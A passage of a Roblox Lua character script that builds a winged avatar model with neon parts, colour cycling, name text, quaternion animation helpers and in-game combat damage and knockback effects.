CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing6,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,rwing6,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,rwing6,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
spawn(function()
while wait() do
if game.Players.LocalPlayer.Name == bots[3] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(WINGWELDPARTA.Parent.CFrame)
end
if game.Players.LocalPlayer.Name == bots[1] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(WINGWELDPARTB.Parent.CFrame)
end
if game.Players.LocalPlayer.Name == bots[2] then
game.Players.LocalPlayer.Character:SetPrimaryPartCFrame(WINGWELDPARTC.Parent.CFrame)
end
end
end)
---- HERES THE RING
--[[ran = CreateParta(m2,0,0,"SmoothPlastic",wepcolor)
CreateMesh(ran,"Wedge",1.02,1.02,1.02)
CreateWeld(ran,larm,ran,0,0.15,0,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
ran = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateMesh(ran,"Wedge",0.9,0.9,1.025)
CreateWeld(ran,larm,ran,0,0.155,0,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
ran = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateMesh(ran,"Wedge",1.025,0.9,0.9)
CreateWeld(ran,larm,ran,0,0.155,-0.025,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gan = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateMesh(gan,"Brick",1.075,0.1,1.075)
CreateWeld(gan,larm,gan,0,0.5,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gan = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateMesh(gan,"Brick",1.075,0.1,1.075)
CreateWeld(gan,larm,gan,0,0.75,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gan = CreateParta(m2,0,0,"Neon",halocolor2)
CreateMesh(gan,"Brick",1.095,0.035,1.095)
CreateWeld(gan,larm,gan,0,0.5,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gan = CreateParta(m2,0,0,"Neon",halocolor2)
CreateMesh(gan,"Brick",1.095,0.035,1.095)
CreateWeld(gan,larm,gan,0,0.75,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gane = CreateParta(m3,0,0,"SmoothPlastic",lunacolor2)
CreateMesh(gane,"Brick",1.0625,0.2,1.0625)
CreateWeld(gane,larm,gane,0,0.6,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
star = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateSpecialMesh(star,"http://www.roblox.com/asset/?id=45428961",2.5,2.5,2.5)
CreateWeld(star,larm,star,0,0.475,0.6,math.rad(90),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
starl = CreateParta(m3,0,0,"SmoothPlastic",starcolor)
CreateSpecialMesh(starl,"http://www.roblox.com/asset/?id=45428961",1.95,2.55,1.95)
CreateWeld(starl,larm,starl,0,0.475,0.6,math.rad(90),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
--- second ring
ran = CreateParta(m2,0,0,"SmoothPlastic",wepcolor)
CreateMesh(ran,"Wedge",1.02,1.02,1.02)
CreateWeld(ran,rarm,ran,0,0.15,0,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
ran = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateMesh(ran,"Wedge",0.9,0.9,1.025)
CreateWeld(ran,rarm,ran,0,0.155,0,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
ran = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateMesh(ran,"Wedge",1.025,0.9,0.9)
CreateWeld(ran,rarm,ran,0,0.155,-0.025,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gan = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateMesh(gan,"Brick",1.075,0.1,1.075)
CreateWeld(gan,rarm,gan,0,0.5,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gan = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateMesh(gan,"Brick",1.075,0.1,1.075)
CreateWeld(gan,rarm,gan,0,0.75,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gan = CreateParta(m2,0,0,"Neon",halocolor2)
CreateMesh(gan,"Brick",1.095,0.035,1.095)
CreateWeld(gan,rarm,gan,0,0.5,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gan = CreateParta(m2,0,0,"Neon",halocolor2)
CreateMesh(gan,"Brick",1.095,0.035,1.095)
CreateWeld(gan,rarm,gan,0,0.75,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
gane = CreateParta(m3,0,0,"SmoothPlastic",lunacolor2)
CreateMesh(gane,"Brick",1.0625,0.2,1.0625)
CreateWeld(gane,rarm,gane,0,0.6,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
star = CreateParta(m,0,0,"SmoothPlastic",wepcolor)
CreateSpecialMesh(star,"http://www.roblox.com/asset/?id=45428961",2.5,2.5,2.5)
CreateWeld(star,rarm,star,0,-0.475,0.6,math.rad(90),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
starl = CreateParta(m3,0,0,"SmoothPlastic",starcolor)
CreateSpecialMesh(starl,"http://www.roblox.com/asset/?id=45428961",1.95,2.55,1.95)
CreateWeld(starl,rarm,starl,0,-0.475,0.6,math.rad(90),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))]]--
for i, v in pairs(m:GetChildren()) do
if v:IsA("Part") then
v.BrickColor = BrickColor.new("Really black")
v.Material = "Glass"
end
end
for i, v in pairs(m2:GetChildren()) do
if v:IsA("Part") then
v.BrickColor = BrickColor.new("Crimson")
v.Material = "Granite"
end
end
for i, v in pairs(m3:GetChildren()) do
if v:IsA("Part") then
v.BrickColor = BrickColor.new("Really red")
v.Material = "Neon"
end
end
for i, v in pairs(mw2:GetChildren()) do
if v:IsA("Part") then
v.BrickColor = BrickColor.new("Really red")
v.Material = "Neon"
end
end
for i, v in pairs(mw1:GetChildren()) do
if v:IsA("Part") then
v.Transparency = 1
v.BrickColor = BrickColor.new("Really red")
v.Material = "Neon"
end
end
for i, v in pairs(extrawingmod1:GetChildren()) do
if v:IsA("Part") then
v.Transparency = 1
v.BrickColor = BrickColor.new("White")
v.Material = "Neon"
end
end
for i, v in pairs(extrawingmod2:GetChildren()) do
if v:IsA("Part") then
v.Transparency = 1
v.BrickColor = BrickColor.new("White")
v.Material = "Neon"
end
end
local MAINRUINCOLOR = BrickColor.new("Really red")
------
function RemoveOutlines(part)
part.TopSurface, part.BottomSurface, part.LeftSurface, part.RightSurface, part.FrontSurface, part.BackSurface = 10, 10, 10, 10, 10, 10
end
function CreatePart(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
local Part = Create("Part")({
Parent = Parent,
Reflectance = Reflectance,
Transparency = Transparency,
CanCollide = false,
Locked = true,
BrickColor = BrickColor.new(tostring(BColor)),
Name = Name,
Size = Size,
Material = Material
})
Part.CustomPhysicalProperties = PhysicalProperties.new(0.001, 0.001, 0.001, 0.001, 0.001)
RemoveOutlines(Part)
return Part
end
function CreateMesh(Mesh, Part, MeshType, MeshId, OffSet, Scale)
local Msh = Create(Mesh)({
Parent = Part,
Offset = OffSet,
Scale = Scale
})
if Mesh == "SpecialMesh" then
Msh.MeshType = MeshType
Msh.MeshId = MeshId
end
return Msh
end
function CreateWeld(Parent, Part0, Part1, C0, C1)
local Weld = Create("Weld")({
Parent = Parent,
Part0 = Part0,
Part1 = Part1,
C0 = C0,
C1 = C1
})
return Weld
end
Player=game:GetService("Players").LocalPlayer
Character=owner.Character
PlayerGui=Player.PlayerGui
Backpack=Player.Backpack
Torso=Character.Torso
Head=Character.Head
Humanoid=Character.Humanoid
m=Instance.new('Model',Character)
LeftArm=Character["Left Arm"]
LeftLeg=Character["Left Leg"]
RightArm=Character["Right Arm"]
RightLeg=Character["Right Leg"]
LS=Torso["Left Shoulder"]
LH=Torso["Left Hip"]
RS=Torso["Right Shoulder"]
RH=Torso["Right Hip"]
Face = Head.face
Neck=Torso.Neck
it=Instance.new
attacktype=1
vt=Vector3.new
cf=CFrame.new
euler=CFrame.fromEulerAnglesXYZ
angles=CFrame.Angles
cloaked=false
necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
RootPart=Character.HumanoidRootPart
RootJoint=RootPart.RootJoint
RootCF=euler(-1.57,0,3.14)
attack = false
attackdebounce = false
deb=false
equipped=true
hand=false
MMouse=nil
combo=0
mana=0
trispeed=.2
attackmode='none'
local idle=0
local Anim="Idle"
local Effects={}
local gun=false
local shoot=false
local sine = 0
local change = 1
player=nil
local toggleTag = true
local txt = Instance.new("BillboardGui", Head)
txt.Adornee = nil
txt.Name = "NameDetect"
txt.Size = UDim2.new(4, 0, 1.2, 0)
txt.StudsOffset = Vector3.new(-8, 8/1.5, 0)
local text = Instance.new("TextLabel", txt)
text.Size = UDim2.new(10/2, 0, 7/2, 0)
text.FontSize = "Size8"
text.TextScaled = true
text.TextTransparency = 0
text.BackgroundTransparency = 1
text.TextTransparency = 0
text.TextStrokeTransparency = 0
text.Font = "Fantasy"
text.TextStrokeColor3 = Color3.new(1,0,0)
text.TextColor3 = Color3.new(0,0,0)
text.Text = "Mayhem"
function RecolorTextAndRename(name,col1,col2)
text.TextStrokeColor3 = col2
text.TextColor3 = col1
text.Text = name
end
mouse=Player:GetMouse()
--save shoulders
RSH, LSH=nil, nil
--welds
RW, LW=Instance.new("Weld"), Instance.new("Weld")
RW.Name="Right Shoulder" LW.Name="Left Shoulder"
LH=Torso["Left Hip"]
RH=Torso["Right Hip"]
TorsoColor=Torso.BrickColor
function NoOutline(Part)
Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
end
player=Player
ch=Character
RSH=ch.Torso["Right Shoulder"]
LSH=ch.Torso["Left Shoulder"]
--
RSH.Parent=nil
LSH.Parent=nil
--
RW.Name="Right Shoulder"
RW.Part0=ch.Torso
RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
RW.C1=cf(0, 0.5, 0)
RW.Part1=ch["Right Arm"]
RW.Parent=ch.Torso
--
LW.Name="Left Shoulder"
LW.Part0=ch.Torso
LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
LW.C1=cf(0, 0.5, 0)
LW.Part1=ch["Left Arm"]
LW.Parent=ch.Torso
local Stats=Instance.new("BoolValue")
Stats.Name="Stats"
Stats.Parent=Character
local Atk=Instance.new("NumberValue")
Atk.Name="Damage"
Atk.Parent=Stats
Atk.Value=1
local Def=Instance.new("NumberValue")
Def.Name="Defense"
Def.Parent=Stats
Def.Value=1
local Speed=Instance.new("NumberValue")
Speed.Name="Speed"
Speed.Parent=Stats
Speed.Value=1
local Mvmt=Instance.new("NumberValue")
Mvmt.Name="Movement"
Mvmt.Parent=Stats
Mvmt.Value=1
local donum=0
function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
local fp=it("Part")
fp.formFactor=formfactor
fp.Parent=parent
fp.Reflectance=reflectance
fp.Transparency=transparency
fp.CanCollide=false
fp.Locked=true
fp.BrickColor=brickcolor
fp.Name=name
fp.Size=size
fp.Position=Torso.Position
NoOutline(fp)
fp.Material="SmoothPlastic"
fp:BreakJoints()
return fp
end
function mesh(Mesh,part,meshtype,meshid,offset,scale)
local mesh=it(Mesh)
mesh.Parent=part
if Mesh=="SpecialMesh" then
mesh.MeshType=meshtype
if meshid~="nil" then
mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
end
end
mesh.Offset=offset
mesh.Scale=scale
return mesh
end
function weld(parent,part0,part1,c0)
local weld=it("Weld")
weld.Parent=parent
weld.Part0=part0
weld.Part1=part1
weld.C0=c0
return weld
end
local Color1=Torso.BrickColor
local bodvel=Instance.new("BodyVelocity")
local bg=Instance.new("BodyGyro")
function swait(num)
if num==0 or num==nil then
game:service'RunService'.Stepped:wait(0)
else
for i=0,num do
game:service'RunService'.Stepped:wait(0)
end
end
end
-------- RAINBOW LEAVE IT TO ME
local r = 255
local g = 0
local b = 0
coroutine.resume(coroutine.create(function()
while wait() do
for i = 0, 254/5 do
swait()
g = g + 5
end
for i = 0, 254/5 do
swait()
r = r - 5
end
for i = 0, 254/5 do
swait()
b = b + 5
end
for i = 0, 254/5 do
swait()
g = g - 5
end
for i = 0, 254/5 do
swait()
r = r + 5
end
for i = 0, 254/5 do
swait()
b = b - 5
end
end
end))
so = function(id,par,vol,pit)
coroutine.resume(coroutine.create(function()
local sou = Instance.new("Sound",par or workspace)
sou.Volume=vol
sou.Pitch=pit or 1
sou.SoundId=id
swait()
sou:play()
game:GetService("Debris"):AddItem(sou,6)
end))
end
function clerp(a,b,t)
local qa = {QuaternionFromCFrame(a)}
local qb = {QuaternionFromCFrame(b)}
local ax, ay, az = a.x, a.y, a.z
local bx, by, bz = b.x, b.y, b.z
local _t = 1-t
return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
end
function QuaternionFromCFrame(cf)
local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
local trace = m00 + m11 + m22
if trace > 0 then
local s = math.sqrt(1 + trace)
local recip = 0.5/s
return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
else
local i = 0
if m11 > m00 then
i = 1
end
if m22 > (i == 0 and m00 or m11) then
i = 2
end
if i == 0 then
local s = math.sqrt(m00-m11-m22+1)
local recip = 0.5/s
return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
elseif i == 1 then
local s = math.sqrt(m11-m22-m00+1)
local recip = 0.5/s
return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
elseif i == 2 then
local s = math.sqrt(m22-m00-m11+1)
local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
end
end
end
function QuaternionToCFrame(px, py, pz, x, y, z, w)
local xs, ys, zs = x + x, y + y, z + z
local wx, wy, wz = w*xs, w*ys, w*zs
local xx = x*xs
local xy = x*ys
local xz = x*zs
local yy = y*ys
local yz = y*zs
local zz = z*zs
return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
end
function QuaternionSlerp(a, b, t)
local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
local startInterp, finishInterp;
if cosTheta >= 0.0001 then
if (1 - cosTheta) > 0.0001 then
local theta = math.acos(cosTheta)
local invSinTheta = 1/math.sin(theta)
startInterp = math.sin((1-t)*theta)*invSinTheta
finishInterp = math.sin(t*theta)*invSinTheta
else
startInterp = 1-t
finishInterp = t
end
else
if (1+cosTheta) > 0.0001 then
local theta = math.acos(-cosTheta)
local invSinTheta = 1/math.sin(theta)
startInterp = math.sin((t-1)*theta)*invSinTheta
finishInterp = math.sin(t*theta)*invSinTheta
else
startInterp = t-1
finishInterp = t
end
end
return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
end
local function CFrameFromTopBack(at, top, back)
local right = top:Cross(back)
return CFrame.new(at.x, at.y, at.z,
right.x, top.x, back.x,
right.y, top.y, back.y,
right.z, top.z, back.z)
end
function Triangle(a, b, c)
local edg1 = (c-a):Dot((b-a).unit)
local edg2 = (a-b):Dot((c-b).unit)
local edg3 = (b-c):Dot((a-c).unit)
if edg1 <= (b-a).magnitude and edg1 >= 0 then
a, b, c = a, b, c
elseif edg2 <= (c-b).magnitude and edg2 >= 0 then
a, b, c = b, c, a
elseif edg3 <= (a-c).magnitude and edg3 >= 0 then
a, b, c = c, a, b
else
assert(false, "unreachable")
end
local len1 = (c-a):Dot((b-a).unit)
local len2 = (b-a).magnitude - len1
local width = (a + (b-a).unit*len1 - c).magnitude
local maincf = CFrameFromTopBack(a, (b-a):Cross(c-b).unit, -(b-a).unit)
local list = {}
if len1 > 0.01 then
local w1 = Instance.new('WedgePart', m)
game:GetService("Debris"):AddItem(w1,5)
w1.Material = "SmoothPlastic"
w1.FormFactor = 'Custom'
w1.BrickColor = BrickColor.new("Really red")
w1.Transparency = 0
w1.Reflectance = 0
w1.Material = "SmoothPlastic"
w1.CanCollide = false
local l1 = Instance.new("PointLight",w1)
l1.Color = Color3.new(170,0,0)
NoOutline(w1)
local sz = Vector3.new(0.2, width, len1)
w1.Size = sz
local sp = Instance.new("SpecialMesh",w1)
sp.MeshType = "Wedge"
sp.Scale = Vector3.new(0,1,1) * sz/w1.Size
w1:BreakJoints()
w1.Anchored = true
w1.Parent = workspace
w1.Transparency = 0.7
table.insert(Effects,{w1,"Disappear",.01})
w1.CFrame = maincf*CFrame.Angles(math.pi,0,math.pi/2)*CFrame.new(0,width/2,len1/2)
table.insert(list,w1)
end
if len2 > 0.01 then
local w2 = Instance.new('WedgePart', m)
game:GetService("Debris"):AddItem(w2,5)
w2.Material = "SmoothPlastic"
w2.FormFactor = 'Custom'
w2.BrickColor = BrickColor.new("Really red")
w2.Transparency = 0
w2.Reflectance = 0
w2.Material = "SmoothPlastic"
w2.CanCollide = false
local l2 = Instance.new("PointLight",w2)
l2.Color = Color3.new(170,0,0)
NoOutline(w2)
local sz = Vector3.new(0.2, width, len2)
w2.Size = sz
local sp = Instance.new("SpecialMesh",w2)
sp.MeshType = "Wedge"
sp.Scale = Vector3.new(0,1,1) * sz/w2.Size
w2:BreakJoints()
w2.Anchored = true
w2.Parent = workspace
w2.Transparency = 0.7
table.insert(Effects,{w2,"Disappear",.01})
w2.CFrame = maincf*CFrame.Angles(math.pi,math.pi,-math.pi/2)*CFrame.new(0,width/2,-len1 - len2/2)
table.insert(list,w2)
end
return unpack(list)
end
function Damagefunc(Part, hit, minim, maxim, knockback, Type, Property, Delay, HitSound, HitPitch)
if hit.Parent == nil then
return
end
local h = hit.Parent:FindFirstChildOfClass("Humanoid")
for _, v in pairs(hit.Parent:children()) do
if v:IsA("Humanoid") then
h = v
end
end
if h ~= nil and hit.Parent.Name ~= Character.Name and hit.Parent:FindFirstChild("Head") ~= nil then
if hit.Parent:findFirstChild("DebounceHit") ~= nil and hit.Parent.DebounceHit.Value == true then
return
end
local c = Create("ObjectValue")({
Name = "creator",
Value = game:service("Players").LocalPlayer,
Parent = h
})
game:GetService("Debris"):AddItem(c, 0.5)
if HitSound ~= nil and HitPitch ~= nil then
CFuncs.Sound.Create(HitSound, hit, 1, HitPitch)
end
local Damage = math.random(minim, maxim)
local blocked = false
local block = hit.Parent:findFirstChild("Block")
if block ~= nil and block.className == "IntValue" and block.Value > 0 then
blocked = true
block.Value = block.Value - 1
print(block.Value)
end
if blocked == false then
HitHealth = h.Health
h.Health = h.Health - Damage
if HitHealth ~= h.Health and HitHealth ~= 0 and 0 >= h.Health and h.Parent.Name ~= "Hologram" then
print("gained kill")
end
ShowDamage(Part.CFrame * CFrame.new(0, 0, Part.Size.Z / 2).p + Vector3.new(0, 1.5, 0), -Damage, 1.5, Part.BrickColor.Color)
else
h.Health = h.Health - Damage / 2
ShowDamage(Part.CFrame * CFrame.new(0, 0, Part.Size.Z / 2).p + Vector3.new(0, 1.5, 0), -Damage, 1.5, Part.BrickColor.Color)
end
if Type == "Knockdown" then
local hum = hit.Parent.Humanoid
hum.PlatformStand = true
coroutine.resume(coroutine.create(function(HHumanoid)
swait(1)
HHumanoid.PlatformStand = false
end), hum)
local angle = hit.Position - (Property.Position + Vector3.new(0, 0, 0)).unit
local bodvol = Create("BodyVelocity")({
velocity = angle * knockback,
P = 5000,
maxForce = Vector3.new(8000, 8000, 8000),
Parent = hit
})
local rl = Create("BodyAngularVelocity")({
P = 3000,
maxTorque = Vector3.new(500000, 500000, 500000) * 50000000000000,
angularvelocity = Vector3.new(math.random(-10, 10), math.random(-10, 10), math.random(-10, 10)),
Parent = hit
})
game:GetService("Debris"):AddItem(bodvol, 0.5)
game:GetService("Debris"):AddItem(rl, 0.5)
elseif Type == "Normal" then
local vp = Create("BodyVelocity")({
P = 500,
maxForce = Vector3.new(math.huge, 0, math.huge),
velocity = Property.CFrame.lookVector * knockback + Property.Velocity / 1.05
})
if knockback > 0 then
vp.Parent = hit.Parent.Head
end
game:GetService("Debris"):AddItem(vp, 0.5)
elseif Type == "Up" then
local bodyVelocity = Create("BodyVelocity")({
velocity = Vector3.new(0, 20, 0),
P = 5000,
maxForce = Vector3.new(8000, 8000, 8000),
Parent = hit
})
game:GetService("Debris"):AddItem(bodyVelocity, 0.5)
local bodyVelocity = Create("BodyVelocity")({
velocity = Vector3.new(0, 20, 0),
P = 5000,
maxForce = Vector3.new(8000, 8000, 8000),
Parent = hit
})
game:GetService("Debris"):AddItem(bodyVelocity, 1)
elseif Type == "Leech" then
local hum = hit.Parent.Humanoid
if hum ~= nil then
for i = 0, 2 do
Effects.Sphere.Create(BrickColor.new("Bright red"), hit.Parent.Torso.CFrame * cn(0, 0, 0) * angles(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)), 1, 15, 1, 0, 5, 0, 0.02)
end
Humanoid.Health = Humanoid.Health + 10
end
elseif Type == "UpKnock" then
local hum = hit.Parent.Humanoid
hum.PlatformStand = true
if hum ~= nil then
hitr = true
end
coroutine.resume(coroutine.create(function(HHumanoid)
swait(5)
HHumanoid.PlatformStand = false
hitr = false
end), hum)
local bodyVelocity = Create("BodyVelocity")({
velocity = Vector3.new(0, 20, 0),
P = 5000,
maxForce = Vector3.new(8000, 8000, 8000),
Parent = hit
})
game:GetService("Debris"):AddItem(bodyVelocity, 0.5)
local bodyVelocity = Create("BodyVelocity")({
velocity = Vector3.new(0, 20, 0),
P = 5000,
maxForce = Vector3.new(8000, 8000, 8000),
Parent = hit
})
game:GetService("Debris"):AddItem(bodyVelocity, 1)
elseif Type == "Snare" then
local bp = Create("BodyPosition")({
P = 2000,
D = 100,
maxForce = Vector3.new(math.huge, math.huge, math.huge),
position = hit.Parent.Torso.Position,
Parent = hit.Parent.Torso
})
game:GetService("Debris"):AddItem(bp, 1)
elseif Type == "Slashnare" then
Effects.Block.Create(BrickColor.new("Pastel Blue"), hit.Parent.Torso.CFrame * cn(0, 0, 0), 15*4, 15*4, 15*4, 3*4, 3*4, 3*4, 0.07)
for i = 1, math.random(4, 5) do
Effects.Sphere.Create(BrickColor.new("Teal"), hit.Parent.Torso.CFrame * cn(math.random(-5, 5), math.random(-5, 5), math.random(-5, 5)) * angles(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)), 1, 15, 1, 0, 5, 0, 0.02)
end
local bp = Create("BodyPosition")({
P = 2000,
D = 100,
maxForce = Vector3.new(math.huge, math.huge, math.huge),
position = hit.Parent.Torso.Position,
Parent = hit.Parent.Torso
})
game:GetService("Debris"):AddItem(bp, 1)
elseif Type == "Spike" then
CreateBigIceSword(hit.Parent.Torso.CFrame)
local bp = Create("BodyPosition")({
P = 2000,
D = 100,
maxForce = Vector3.new(math.huge, math.huge, math.huge),
position = hit.Parent.Torso.Position,
Parent = hit.Parent.Torso
})
game:GetService("Debris"):AddItem(bp, 1)
elseif Type == "Freeze" then
local BodPos = Create("BodyPosition")({
P = 50000,
D = 1000,
maxForce = Vector3.new(math.huge, math.huge, math.huge),
position = hit.Parent.Torso.Position,
Parent = hit.Parent.Torso
})
local BodGy = Create("BodyGyro")({
maxTorque = Vector3.new(400000, 400000, 400000) * math.huge,
P = 20000,
Parent = hit.Parent.Torso,
cframe = hit.Parent.Torso.CFrame
})
hit.Parent.Torso.Anchored = true
coroutine.resume(coroutine.create(function(Part)
swait(1.5)
Part.Anchored = false
end), hit.Parent.Torso)
game:GetService("Debris"):AddItem(BodPos, 3)
game:GetService("Debris"):AddItem(BodGy, 3)
end
local debounce = Create("BoolValue")({
Name = "DebounceHit",
Parent = hit.Parent,
Value = true
})
game:GetService("Debris"):AddItem(debounce, Delay)
c = Instance.new("ObjectValue")
c.Name = "creator"
c.Value = Player
c.Parent = h
game:GetService("Debris"):AddItem(c, 0.5)
end
end
function ShowDamage(Pos, Text, Time, Color)
local Rate = 0.03333333333333333
local Pos = Pos or Vector3.new(0, 0, 0)
local Text = Text or ""
local Time = Time or 2
local Color = Color or Color3.new(1, 0, 1)
local EffectPart = CreatePart(workspace, "SmoothPlastic", 0, 1, BrickColor.new(Color), "Effect", Vector3.new(0, 0, 0))
EffectPart.Anchored = true
local BillboardGui = Create("BillboardGui")({
Size = UDim2.new(3, 0, 3, 0),
Adornee = EffectPart,
Parent = EffectPart
})
local TextLabel = Create("TextLabel")({
BackgroundTransparency = 1,
Size = UDim2.new(1, 0, 1, 0),
Text = Text,
TextColor3 = Color,
TextScaled = true,
Font = Enum.Font.ArialBold,
Parent = BillboardGui
})
game.Debris:AddItem(EffectPart, Time + 0.1)
EffectPart.Parent = game:GetService("Workspace")
delay(0, function()
local Frames = Time / Rate
for Frame = 1, Frames do
wait(Rate)
local Percent = Frame / Frames
EffectPart.CFrame = CFrame.new(Pos) + Vector3.new(0, Percent, 0)
TextLabel.TextTransparency = Percent
end
if EffectPart and EffectPart.Parent then
EffectPart:Destroy()
end
end)
end
function MagniDamage(Part, magni, mindam, maxdam, knock, Type)
for _, c in pairs(workspace:children()) do
local hum = c:findFirstChildOfClass("Humanoid")
if hum ~= nil then
local head = c:findFirstChild("Head")
if head ~= nil then
local targ = head.Position - Part.Position
local mag = targ.magnitude
if magni >= mag and c.Name ~= Player.Name then
Damagefunc(head, head, mindam, maxdam, knock, Type, RootPart, 0.1, "rbxassetid://231917784", 1)
end
end
end
end
end
function MagniDamageWithEffect(Part, magni, mindam, maxdam, knock, Type)
for _, c in pairs(workspace:children()) do
local hum = c:findFirstChild("Humanoid")
if hum ~= nil then
local head = c:findFirstChild("Torso")
if head ~= nil then
local targ = head.Position - Part.Position
local mag = targ.magnitude
if magni >= mag and c.Name ~= Player.Name then
MagicBlock(BrickColor.new("Pastel light blue"),head.CFrame,5,5,5,1,1,1,0.05)
Damagefunc(head, head, mindam, maxdam, knock, Type, RootPart, 0.1, "rbxassetid://231917784", 1)
end
end
end
end
end
function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
end
function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
prt.Anchored=true
prt.CFrame=cframe
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
--http://www.roblox.com/asset/?id=4770560
game:GetService("Debris"):AddItem(prt,2)
CF=prt.CFrame
coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
for i=0,1,0.2 do
wait()
Part.CFrame=CF*cf(0,0,-0.4)
end
for i=0,1,delay do
wait()
--Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
Mesh.Scale=Mesh.Scale
end
for i=0,1,0.1 do
wait()
Part.Transparency=i
end
Part.Parent=nil
end),prt,msh,CF)
end
function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
local prt=part(3,char,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
prt.Anchored=true
prt.Material = "Neon"
prt.CFrame=cframe
prt.CFrame=prt.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
game:GetService("Debris"):AddItem(prt,5)
coroutine.resume(coroutine.create(function(Part,Mesh)
for i=0,1,delay do
swait()
